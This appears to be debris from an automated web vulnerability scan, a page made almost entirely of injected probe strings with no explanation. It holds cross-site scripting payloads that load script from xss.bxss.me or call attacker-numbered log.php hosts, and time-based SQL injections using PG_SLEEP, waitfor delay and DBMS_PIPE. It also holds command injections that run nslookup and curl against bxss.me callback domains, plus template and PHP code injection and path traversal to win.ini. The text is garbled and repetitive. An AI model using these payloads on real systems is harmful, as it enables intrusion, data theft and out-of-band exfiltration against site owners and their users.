1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9990></ScRiPt>

1

555

1

1<ahHcbEJ<

1

555<aXroJAX<

1 1<a6VDryz<

1

1<img sRc='http://attacker-9073/log.php?

1

1<ScRiPt >qTtn(9761)</ScRiPt>

1

555

1 1<aOxFkNZ<

555

1

1<img sRc='http://attacker-9845/log.php?

555<aK4tIwP x=9757>

1

1<ahg378k x=9679>

1 1<aFgXlyB x=9107>

1

1 1<a6oU0nK x=9915>

555

1<ifRAme sRc=9334.com></IfRamE>

1

1<script>qTtn(9712)</script>9712

1

555

1

1<ifRAme sRc=9551.com></IfRamE>

1

555<ifRAme sRc=9522.com></IfRamE>

1 1<ifRAme sRc=9770.com></IfRamE>

1

1 1<ifRAme sRc=9356.com></IfRamE>

555

1<WGTKLE>WSUGF[!+!]</WGTKLE>

1

1hC1Wz
<ScRiPt >d1Dd(9249)</ScRiPt>

1 1A2ZYp <ScRiPt >qcPV(9508)</ScRiPt>

1

555t1UOX
<ScRiPt >nQDE(9861)</ScRiPt>

1 1XQTbl <ScRiPt >Q5kh(9427)</ScRiPt>

555

1<ScRiPt >qTtn(9939)</ScRiPt>

1

555

1}body{zzz:Expre/**/SSion(NPxe(9949))}

1

1}body{zzz:Expre/**/SSion(d1Dd(9947))}

1 1}body{zzz:Expre/**/SSion(qcPV(9464))}

1

1 1}body{zzz:Expre/**/SSion(Q5kh(9504))}

555

1

555}body{zzz:Expre/**/SSion(nQDE(9897))}

<a HrEF=jaVaScRiPT:>

1

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

1

555

1

1 <a HrEF=jaVaScRiPT:>

1

1 <a HrEF=jaVaScRiPT:>

555

1

<a HrEF=http://xss.bxss.me></a>

1

1 <a HrEF=http://xss.bxss.me></a>

1

$dfb__${98991*97996}__::.x 1$

dfb${98991*97996}::.x

1

555

1 <a HrEF=http://xss.bxss.me></a>

555

1

1<input autofocus onfocus=NPxe(9431)>

1

1<input autofocus onfocus=d1Dd(9263)>

1 1<input autofocus onfocus=qcPV(9292)>

1

1 1<input autofocus onfocus=Q5kh(9416)>

555

dfb[[${98991*97996}]]xca

1

555

1

555

$1\u003CScRiPt\NPxe(9787)\u003C/sCripT\u003E 1$

1\u003CScRiPt\NPxe(9787)\u003C/sCripT\u003E

1

555\u003CScRiPt\nQDE(9594)\u003C/sCripT\u003E

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

1

555

1

%31%3C%53%63%52%69%50%74%20%3E%64%31%44%64%289924%29%3C%2F%73%43%72%69%70%54%3E

1

1<body onload=d1Dd(9943)>

1 1<body onload=qcPV(9138)>

1

555<img src=//xss.bxss.me/t/dot.gif onload=nQDE(9827)>

1<body onload=NPxe(9403)>

1

1 1<isindex type=image src=1 onerror=qcPV(9748)>

1

bfg1096＜s1﹥s2ʺs3ʹhjl1096

19553217

1

555

1

555<isindex type=image src=1 onerror=nQDE(9870)>

1

1<svg

1

1 1<ScRiPt >qcPV(9438)</ScRiPt>

1

1 1<svg

555

'"()&%<zzz><ScRiPt >qTtn(9233)</ScRiPt>

1

555

1

555

1

555<svg

1

1<ScRiPt
>d1Dd(9477)</ScRiPt>

1

1 1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9733></ScRiPt>

1

1<ScRiPt >NPxe(9345)</ScRiPt>

1

1 1<ScRiPt >Q5kh(9947)</ScRiPt>

555

1'"()&%<zzz><ScRiPt >qTtn(9981)</ScRiPt>

1

555

1

555

1

1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9195></ScRiPt>

1

555<ScRiPt
>nQDE(9028)</ScRiPt>

1

1 1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9683></ScRiPt>

555

1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9722></ScRiPt>

1

1 1<ScRiPt >qcPV(9047)</ScRiPt>

1

555

1

1<ScRiPt
>d1Dd(9632)</ScRiPt>

1

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9782></ScRiPt>

1

1<ScRiPt >NPxe(9568)</ScRiPt>

1

1 1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%71%63%50%56%28%39%37%32%31%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

1

1 1<ScRiPt >Q5kh(9193)</ScRiPt>

555

1

1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%64%31%44%64%28%39%32%39%34%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

1

555<ScRiPt
>nQDE(9367)</ScRiPt>

1

555

1

1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%4E%50%78%65%28%39%34%37%36%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

1

1 1<ScR<ScRiPt>IpT>Q5kh(9067)</sCr<ScRiPt>IpT>

555

1 1<script>qcPV(9744)</script>9744

1

1<script>d1Dd(9382)</script>9382

1

555<ScR<ScRiPt>IpT>nQDE(9106)</sCr<ScRiPt>IpT>

1

555

1<script>NPxe(9219)</script>9219

1

1 1<script>Q5kh(9332)</script>9332

555

1 1<script>qcPV(9777)</script>

1

1<script>d1Dd(9976)</script>

1

555

1

555<script>nQDE(9222)</script>9222

1<script>NPxe(9486)</script>

1

1 1<WQWKRD>EMAHX[!+!]</WQWKRD>

1

1 1<script>Q5kh(9519)</script>

555

1

555

1<ScRiPt >NPxe(9175)</ScRiPt>

1

dfb${98991*97996}::.x

1

1 dfb[[${98991*97996}]]xca

1

555

1 <th:t="${dfb}#foreach

1

bfgx8965%C0%BEz1%C0%BCz2a%90bcxhjl8965

1

555

1 bfgx4776

555

1

bfgx8528

1 bfg9442%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl9442

1

bfg10429%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl10429

bfg6390%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl6390

1

555

1 bfg6471＜s1﹥s2ʺs3ʹhjl6471

'"()&%<zzz><ScRiPt >NPxe(9100)</ScRiPt>

1

1 '"()&%<zzz><ScRiPt >qcPV(9450)</ScRiPt>

1

'"()&%<zzz><ScRiPt >d1Dd(9452)</ScRiPt>

1 '"()&%<zzz><ScRiPt >Q5kh(9487)</ScRiPt>

555

1

555

1

'"()&%<zzz><ScRiPt >nQDE(9158)</ScRiPt>

1'"()&%<zzz><ScRiPt >NPxe(9751)</ScRiPt>

1

1 1'"()&%<zzz><ScRiPt >qcPV(9046)</ScRiPt>

1

1'"()&%<zzz><ScRiPt >d1Dd(9059)</ScRiPt>

1 1'"()&%<zzz><ScRiPt >Q5kh(9185)</ScRiPt>

555

555

1

555

1 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555

1 1aqw5c08d

555

1

1 1okIEqxph')) OR 553=(SELECT 553 FROM PG_SLEEP(15))--

555

1

555

1 19dELyg0k') OR 997=(SELECT 997 FROM PG_SLEEP(15))--

555

1

555

1

1 1AJoRUe4Q' OR 176=(SELECT 176 FROM PG_SLEEP(15))--

555

@@u5Qm5

1

555

1

555

1'"

1

555

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1

555

1 -1" OR 2+155-155-1=0+0+0+1 --

555

1 -1' OR 2+420-420-1=0+0+0+1 or 'gRPqhYXf'='

555

1 -1' OR 2+561-561-1=0+0+0+1 --

555

1 -1 OR 2+424-424-1=0+0+0+1

1

555

1 1'"

555

1 1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

555

@@R6w8S

1

555

-1" OR 2+575-575-1=0+0+0+1 --

1

-1 OR 2+476-476-1=0+0+0+1 --

1

555

1

555

1 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1

555

1l3FLvAhl

1

555

1

1 1O5fV4Iuv')) OR 982=(SELECT 982 FROM PG_SLEEP(15))--

555

1FVDNrcNv')) OR 806=(SELECT 806 FROM PG_SLEEP(15))--

1

555

1

555

1 14tK7bwti') OR 179=(SELECT 179 FROM PG_SLEEP(15))--

555

1L1K4j1Yd') OR 47=(SELECT 47 FROM PG_SLEEP(15))--

1

555

1

555

1

1 1t1ZKHGOL' OR 86=(SELECT 86 FROM PG_SLEEP(15))--

555

1tM5YI2bD' OR 519=(SELECT 519 FROM PG_SLEEP(15))--

1

555

1

555

1

555

1

555

1

555

1

1 1-1)) OR 57=(SELECT 57 FROM PG_SLEEP(15))--

555

1-1)) OR 48=(SELECT 48 FROM PG_SLEEP(15))--

1

555

1

555

1

1

555

1

17lWPbOP9'; waitfor delay '0:0:15' --

1 10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

555

10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

1

555

1

555

1

1-1 waitfor delay '0:0:15' --

1 1*if(now()=sysdate(),sleep(15),0)

555

1*if(now()=sysdate(),sleep(15),0)

555

-1' OR 2+254-254-1=0+0+0+1 or 'LbgXdK9g'='

1

555

1

555

-1' OR 2+129-129-1=0+0+0+1 --

1

555

-1 OR 2+707-707-1=0+0+0+1

1

555

-1 OR 2+853-853-1=0+0+0+1 --

1

555

1

555

1

555

1

555

1

1*if(now()=sysdate(),sleep(15),0)

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1

555

-1" OR 2+514-514-1=0+0+0+1 --

1

555

-1' OR 2+569-569-1=0+0+0+1 or 'HDc2tHt5'='

1

555

-1' OR 2+959-959-1=0+0+0+1 --

1

555

-1 OR 2+423-423-1=0+0+0+1

1

555

-1 OR 2+616-616-1=0+0+0+1 --

555

1

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

1 (select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/

1

555

1

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

1

555

1 10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

1

1 1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9044'>

555

1 1<ScRiPt >FUMw(9889)</ScRiPt>

555

1

555

1 1<ScRiPt >FUMw(9948)</ScRiPt>

555

1 "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555

1

555

$1 dfb__${98991*97996}__::.x$

1 dfb${98991*97996}::.x

1

555

1<ac9xRQR<

1

555

1<img sRc='http://attacker-9875/log.php?

1

555

1

@@hNyDP

1

1'"

1

555

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1

1<ScRiPt>FUMw(9060)</sCripT>

1

555

1

555

1<body onload=FUMw(9658)>

1

555

1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9214'>

1

555

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1

1

555

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

1

555

1

555

bfgx5687

1

555

bfg2486＜s1﹥s2ʺs3ʹhjl2486

1

555

1

555

19013573

1

555

'"()&%<zzz><ScRiPt >FUMw(9741)</ScRiPt>

1

555

1'"()&%<zzz><ScRiPt >FUMw(9814)</ScRiPt>

1

555

10rYiXOgj' OR 136=(SELECT 136 FROM PG_SLEEP(15))--

1

555

1

555

1

555

555

1

555

1

555

1

555

1

555

1

555

1

555

1

555

1

555

1

555<ajRfbuw<

1

555<img sRc='http://attacker-9207/log.php?

1

555<aUAwaeg x=9559>

1-1) OR 598=(SELECT 598 FROM PG_SLEEP(15))--

555

1

1

555<input autofocus onfocus=FUMw(9981)>

1

555<ScRiPt>FUMw(9885)</sCripT>

1-1 OR 396=(SELECT 396 FROM PG_SLEEP(15))--

555<ScRiPt >FUMw(9331)</ScRiPt>

1-1 waitfor delay '0:0:15' --

'+'A'.concat(70-3).concat(22*4).concat(121).concat(70).concat(105).concat(83)+(require'socket' Socket.gethostbyname('hitqn'+'xshqlrcza7eb1.bxss.me.')[3].to_s)+'

1

555

1

555

1 `(nslookup -q=cname hitaalwkcbnzh345c0.bxss.me||curl hitaalwkcbnzh345c0.bxss.me)`

555

1

nueva/.

1 Array

555

1 &nslookup -q=cname hitzybaunsxkdbeefa.bxss.me&'\"`0&nslookup -q=cname hitzybaunsxkdbeefa.bxss.me&`'

555

1 Array

555

1

"+"A".concat(70-3).concat(22*4).concat(110).concat(83).concat(97).concat(75)+(require"socket"
Socket.gethostbyname("hithd"+"siaxnbyx16abc.bxss.me.")[3].to_s)+"

1 $(nslookup -q=cname hitmtsriylvzmca7ee.bxss.me||curl hitmtsriylvzmca7ee.bxss.me)

555

1"||sleep(271000)dqccvq||"

1

555

$1 1&echo tfrhsn$()\ jrfobq\nz^xyu||a #' &echo tfrhsn$()\ jrfobq\nz^xyu||a #|" &echo tfrhsn$()\ jrfobq\nz^xyu||a #$

1 1&echo tfrhsn$()\ jrfobq\nz^xyu||a #' &echo tfrhsn$()\ jrfobq\nz^xyu||a #|" &echo tfrhsn$()\ jrfobq\nz^xyu||a #

555

'"()

1

555

$1 ${@print(md5(31337))}\$

1 ${@print(md5(31337))}\

555

HttP://bxss.me/t/xss.html?%00

1

555

1-1); waitfor delay '0:0:15' --

1

Array

1

555

$1 &echo hxvuac$()\ drxtta\nz^xyu||a #' &echo hxvuac$()\ drxtta\nz^xyu||a #|" &echo hxvuac$()\ drxtta\nz^xyu||a #$

1 &echo hxvuac$()\ drxtta\nz^xyu||a #' &echo hxvuac$()\ drxtta\nz^xyu||a #|" &echo hxvuac$()\ drxtta\nz^xyu||a #

555

$&(nslookup${IFS}-q${IFS}cname${IFS}hitmnjbfivgsbe4219.bxss.me||curl${IFS}hitmnjbfivgsbe4219.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitmnjbfivgsbe4219.bxss.me||curl${IFS}hitmnjbfivgsbe4219.bxss.me)&`' 1$

&(nslookup${IFS}-q${IFS}cname${IFS}hitmnjbfivgsbe4219.bxss.me||curl${IFS}hitmnjbfivgsbe4219.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitmnjbfivgsbe4219.bxss.me||curl${IFS}hitmnjbfivgsbe4219.bxss.me)&`'

1

555

1

555

1 ';print(md5(31337));$a='

555

1

bxss.me/t/xss.html?%00

1

555

|(nslookup${IFS}-q${IFS}cname${IFS}hitxtswhkxvpc3793f.bxss.me||curl${IFS}hitxtswhkxvpc3793f.bxss.me)

1

555

Array

1

555

1 ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

555

1

HttP://bxss.me/t/xss.html?%00

1

555

1

5559912132

${@print(md5(31337))}\

1

555

1

555

1

555

|(nslookup -q=cname hitifciuigxqrfa35a.bxss.me||curl hitifciuigxqrfa35a.bxss.me)

$&(nslookup -q=cname hitiwvvwmbxuo7dcc4.bxss.me||curl hitiwvvwmbxuo7dcc4.bxss.me)&'\"`0&(nslookup -q=cname hitiwvvwmbxuo7dcc4.bxss.me||curl hitiwvvwmbxuo7dcc4.bxss.me)&`' 1$

&(nslookup -q=cname hitiwvvwmbxuo7dcc4.bxss.me||curl hitiwvvwmbxuo7dcc4.bxss.me)&'\"`0&(nslookup -q=cname hitiwvvwmbxuo7dcc4.bxss.me||curl hitiwvvwmbxuo7dcc4.bxss.me)&`'

1

555

";print(md5(31337));$a="

1

555

1 '"

555

1

555

1

555

'"

1

555

1

555'"()&%<zzz><ScRiPt >FUMw(9081)</ScRiPt>

(nslookup -q=cname hitpysypaosdl1c561.bxss.me||curl hitpysypaosdl1c561.bxss.me))

1

555

$|echo nwjkyw$()\ llbcge\nz^xyu||a #' |echo nwjkyw$()\ llbcge\nz^xyu||a #|" |echo nwjkyw$()\ llbcge\nz^xyu||a # 1$

|echo nwjkyw$()\ llbcge\nz^xyu||a #' |echo nwjkyw$()\ llbcge\nz^xyu||a #|" |echo nwjkyw$()\ llbcge\nz^xyu||a #

1

'"

1 )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

1 )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

555

$&echo hwyvfa$()\ jkdeat\nz^xyu||a #' &echo hwyvfa$()\ jkdeat\nz^xyu||a #|" &echo hwyvfa$()\ jkdeat\nz^xyu||a # 1$

&echo hwyvfa$()\ jkdeat\nz^xyu||a #' &echo hwyvfa$()\ jkdeat\nz^xyu||a #|" &echo hwyvfa$()\ jkdeat\nz^xyu||a #

1

555

1

555

1

555

))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) 1

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

1

555

1

555

$echo ljilhc$()\ kmyicj\nz^xyu||a #' &echo ljilhc$()\ kmyicj\nz^xyu||a #|" &echo ljilhc$()\ kmyicj\nz^xyu||a # 1$

echo ljilhc$()\ kmyicj\nz^xyu||a #' &echo ljilhc$()\ kmyicj\nz^xyu||a #|" &echo ljilhc$()\ kmyicj\nz^xyu||a #

1

555

1 gethostbyname(lc('hitjc'.'jgvrxyoca7ba5.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(104).chr(88).chr(105).chr(70)

555

1

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

1

1

${@print(md5(31337))}

1

gethostbyname(lc('hitsc'.'icpffvpn3874c.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(116).chr(81).chr(99).chr(66)

1

555

xfs.bxss.me

1

1

555

1

xfs.bxss.me

1

555

1

555

1

Array

1

555

1

555

1

555

1 bxss.me

555

1

555

1-1; waitfor delay '0:0:15' --

1

1 ^(#$!@#$)(()))******

555

1

555

1 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

555

1 !(()&&!|||

555

1

555

1 http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

555

1 )

555

1

&(nslookup${IFS}-q${IFS}cname${IFS}hituoihwlmizt386f1.bxss.me||curl${IFS}hituoihwlmizt386f1.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hituoihwlmizt386f1.bxss.me||curl${IFS}hituoihwlmizt386f1.bxss.me)&`'

bxss.me

1

555

/etc/shells

1

555

1

555

555

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

1

555

1

555

../1

555

1

555

1

1

PlkrWgl9

1

../555

1

Http://bxss.me/t/fit.txt

(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/

1

555

$1 12345'"\'\");|]*�{ <�>$

1 12345'"\'\");|]*{ <>

555

1

555

1

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

555

1

../../../../../../../../../../../../../../windows/win.ini

1

'+response.write(9649049*9794585)+'

$12345'"\'\");|]*�{ <�> 1$

12345'"\'\");|]*{ <>

${9999398+10000371}

1

555

1<esi:include src="http://bxss.me/rpb.png"/>

1

555

1

12345'"\'\");|]*{
<>

10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

1

555

1

555

10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

1*if(now()=sysdate(),sleep(15),0)

1

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

-1" OR 2+679-679-1=0+0+0+1 --

1

-1' OR 2+729-729-1=0+0+0+1 or 'HcMMZohS'='

1

-1' OR 2+811-811-1=0+0+0+1 --

1

-1 OR 2+286-286-1=0+0+0+1

1

-1 OR 2+65-65-1=0+0+0+1 --

1

5558AfJovIR')) OR 869=(SELECT 869 FROM PG_SLEEP(15))--

1

555HVNVzv0U')) OR 924=(SELECT 924 FROM PG_SLEEP(15))--

1bUoGKCvB

1

1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9607'>

5556MYahL0g'; waitfor delay '0:0:15' --

1 1<img sRc='http://attacker-9464/log.php?

1

1 1<aiGXS8K x=9662>

1

1 1<ifRAme sRc=9090.com></IfRamE>

1

1 1<WULNKC>NQSWJ[!+!]</WULNKC>

1

1 1HbTcE <ScRiPt >xH76(9109)</ScRiPt>

1

555-1 waitfor delay '0:0:15' --

1 1}body{zzz:Expre/**/SSion(xH76(9643))}

1

1 <a HrEF=jaVaScRiPT:>

1

1 <a HrEF=http://xss.bxss.me></a>

1

1 1<input autofocus onfocus=xH76(9601)>

1

555-1 waitfor delay '0:0:15' --

1

1 1<ScRiPt>xH76(9771)</sCripT>

1

$1 1\u003CScRiPt\xH76(9193)\u003C/sCripT\u003E$

1 1\u003CScRiPt\xH76(9193)\u003C/sCripT\u003E

1

1 %31%3C%53%63%52%69%50%74%20%3E%78%48%37%36%289187%29%3C%2F%73%43%72%69%70%54%3E

1

1 1<img/src=">" onerror=alert(9635)>

1

555-1); waitfor delay '0:0:15' --

1 1<img src=xyz OnErRor=xH76(9148)>

1

1 1<img src=//xss.bxss.me/t/dot.gif onload=xH76(9285)>

1

1 1<body onload=xH76(9859)>

1

1 1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9995'>

1

555-1); waitfor delay '0:0:15' --

1 1<isindex type=image src=1 onerror=xH76(9789)>

1

1 1<svg

1

1 1<ScRiPt >xH76(9507)</ScRiPt>

1

1 1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9206></ScRiPt>

1

1 1<ScRiPt >xH76(9692)</ScRiPt>

1

555-1; waitfor delay '0:0:15' --

1 1'"()&%<zzz><ScRiPt >xH76(9135)</ScRiPt>

1

1 1<ScRiPt>KKLW(9947)</sCripT>

555

1

1<aM9vLiS<

1

$1 1\u003CScRiPt\KKLW(9492)\u003C/sCripT\u003E$

1 1\u003CScRiPt\KKLW(9492)\u003C/sCripT\u003E

555

1<img sRc='http://attacker-9432/log.php?

1

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

1 %31%3C%53%63%52%69%50%74%20%3E%4B%4B%4C%57%289378%29%3C%2F%73%43%72%69%70%54%3E

555

1<aD0Km8W x=9619>

1

1 1<img/src=">" onerror=alert(9537)>

555

1<ifRAme sRc=9823.com></IfRamE>

<a HrEF=http://xss.bxss.me></a>

1

1 1<svg

555

1<input autofocus onfocus=xH76(9388)>

1

1 "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555

1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9494'>

1

555*if(now()=sysdate(),sleep(15),0)

$1 dfb__${98991*97996}__::.x$

1 dfb${98991*97996}::.x

555

1<isindex type=image src=1 onerror=xH76(9861)>

1

1 dfb[[${98991*97996}]]xca

555

555

1<script>xH76(9216)</script>9216

1

1 bfgx3796

555

1

555

1

-1' OR 2+22-22-1=0+0+0+1 or 'V3ubiCTY'='

1<acIObsd<

1

555

1

-1' OR 2+618-618-1=0+0+0+1 --

$dfb__${98991*97996}__::.x 1$

dfb${98991*97996}::.x

1

-1 OR 2+317-317-1=0+0+0+1

1

-1 OR 2+419-419-1=0+0+0+1 --

1<img sRc='http://attacker-9878/log.php?

1

555

dfb[[${98991*97996}]]xca

1

<%={{={@{#{${dfb}}%>

1

1}body{zzz:Expre/**/SSion(KKLW(9340))}

1

555

bfgx9534%C0%BEz1%C0%BCz2a%90bcxhjl9534

1

<a HrEF=jaVaScRiPT:>

1

555

bfg3891%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl3891

1

<a HrEF=http://xss.bxss.me></a>

1

555

19953658

1

1

$1\u003CScRiPt\KKLW(9779)\u003C/sCripT\u003E 1$

1\u003CScRiPt\KKLW(9779)\u003C/sCripT\u003E

1

555

1

%31%3C%53%63%52%69%50%74%20%3E%4B%4B%4C%57%289425%29%3C%2F%73%43%72%69%70%54%3E

1

555

1

1<img/src=">" onerror=alert(9226)>

1

555

1

1<img src=xyz OnErRor=KKLW(9074)>

1

555

1

1<img src=//xss.bxss.me/t/dot.gif onload=KKLW(9166)>

1

555

1

1<body onload=KKLW(9205)>

1

555

1

555

1

1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9060'>

'+'A'.concat(70-3).concat(22*4).concat(103).concat(73).concat(120).concat(83)+(require'socket' Socket.gethostbyname('hitad'+'xnqepusy58572.bxss.me.')[3].to_s)+'

1

1 1<asZsAvu<

555

"+"A".concat(70-3).concat(22*4).concat(108).concat(75).concat(116).concat(84)+(require"socket" Socket.gethostbyname("hitev"+"vvielfaa71939.bxss.me.")[3].to_s)+"

1

1<script>KKLW(9365)</script>9365

1

555

1

bxss.me/t/xss.html?%00

1

HttP://bxss.me/t/xss.html?%00

1

1 1<img sRc='http://attacker-9243/log.php?

555

1

555

1 bxss.me/t/xss.html?%00

1

1<script>KKLW(9687)</script>

1

555

1 HttP://bxss.me/t/xss.html?%00

1

1 1<ax8xE35 x=9008>

555

1

555

bxss.me/t/xss.html?%00

1

1<WY6GHJ>RGINH[!+!]</WY6GHJ>

1

555

HttP://bxss.me/t/xss.html?%00

1

1 1<ifRAme sRc=9448.com></IfRamE>

555

1

<!--

1

'"

1

1<ScRiPt >KKLW(9758)</ScRiPt>

1

555

1

1 <!--

1

1 1<WJMIBY>INZQX[!+!]</WJMIBY>

555

1 '"

1

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

1

555

1

&(nslookup${IFS}-q${IFS}cname${IFS}hitwjkxhnudxp9b994.bxss.me||curl${IFS}hitwjkxhnudxp9b994.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitwjkxhnudxp9b994.bxss.me||curl${IFS}hitwjkxhnudxp9b994.bxss.me)&`'

<!--

1

'.print(md5(31337)).'

1 1qRS5O <ScRiPt >FLKe(9563)</ScRiPt>

555

1

|(nslookup${IFS}-q${IFS}cname${IFS}hitywvxrfcedca46c6.bxss.me||curl${IFS}hitywvxrfcedca46c6.bxss.me)

'"

1

${@print(md5(31337))}\

1

;(nslookup -q=cname hitporogclipe1e2de.bxss.me||curl hitporogclipe1e2de.bxss.me)|(nslookup -q=cname hitporogclipe1e2de.bxss.me||curl hitporogclipe1e2de.bxss.me)&(nslookup -q=cname hitporogclipe1e2de.bxss.me||curl hitporogclipe1e2de.bxss.me)

1

$dfb__${98991*97996}__::.x 1$

dfb${98991*97996}::.x

1

555

1

${@print(md5(31337))}

1

`(nslookup -q=cname hituhtvqakpmn26a35.bxss.me||curl hituhtvqakpmn26a35.bxss.me)`

1

1 )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

1 )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

1

&nslookup -q=cname hitzvwmywlcjy68bfb.bxss.me&'\"`0&nslookup -q=cname hitzvwmywlcjy68bfb.bxss.me&`'

1

xfs.bxss.me

1 '.print(md5(31337)).'

1

$(nslookup -q=cname hitzzqtevopdvf3215.bxss.me||curl hitzzqtevopdvf3215.bxss.me)

))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) 1

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

1

1 xfs.bxss.me

1

dfb{{98991*97996}}xca

1

555

$1 ${@print(md5(31337))}\$

1|echo hkcyoj$()\ whajae\nz^xyu||a #' |echo hkcyoj$()\ whajae\nz^xyu||a #|" |echo hkcyoj$()\ whajae\nz^xyu||a #

1

1 ";print(md5(31337));$a="

1

&echo qtuthw$()\ ihxfyf\nz^xyu||a #' &echo qtuthw$()\ ihxfyf\nz^xyu||a #|" &echo qtuthw$()\ ihxfyf\nz^xyu||a #

'.print(md5(31337)).'

1

'"()

1

555

$${@print(md5(31337))}\ 1$

${@print(md5(31337))}\

1

echo rblsjb$()\ zwcqtv\nz^xyu||a #' &echo rblsjb$()\ zwcqtv\nz^xyu||a #|" &echo rblsjb$()\ zwcqtv\nz^xyu||a #

1 1"||sleep(271000)bzjfqf||"

1

${@print(md5(31337))}

1

555

$1 &(nslookup${IFS}-q${IFS}cname${IFS}hitvsynoqefnb3a3df.bxss.me||curl${IFS}hitvsynoqefnb3a3df.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitvsynoqefnb3a3df.bxss.me||curl${IFS}hitvsynoqefnb3a3df.bxss.me)&`'$

1 &(nslookup${IFS}-q${IFS}cname${IFS}hitvsynoqefnb3a3df.bxss.me||curl${IFS}hitvsynoqefnb3a3df.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitvsynoqefnb3a3df.bxss.me||curl${IFS}hitvsynoqefnb3a3df.bxss.me)&`'

1

1 1'||sleep(271000)itzcsp||'

1

gethostbyname(lc('hitkg'.'fetjgcky59d5c.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(106).chr(77).chr(105).chr(74)

";print(md5(31337));$a="

1

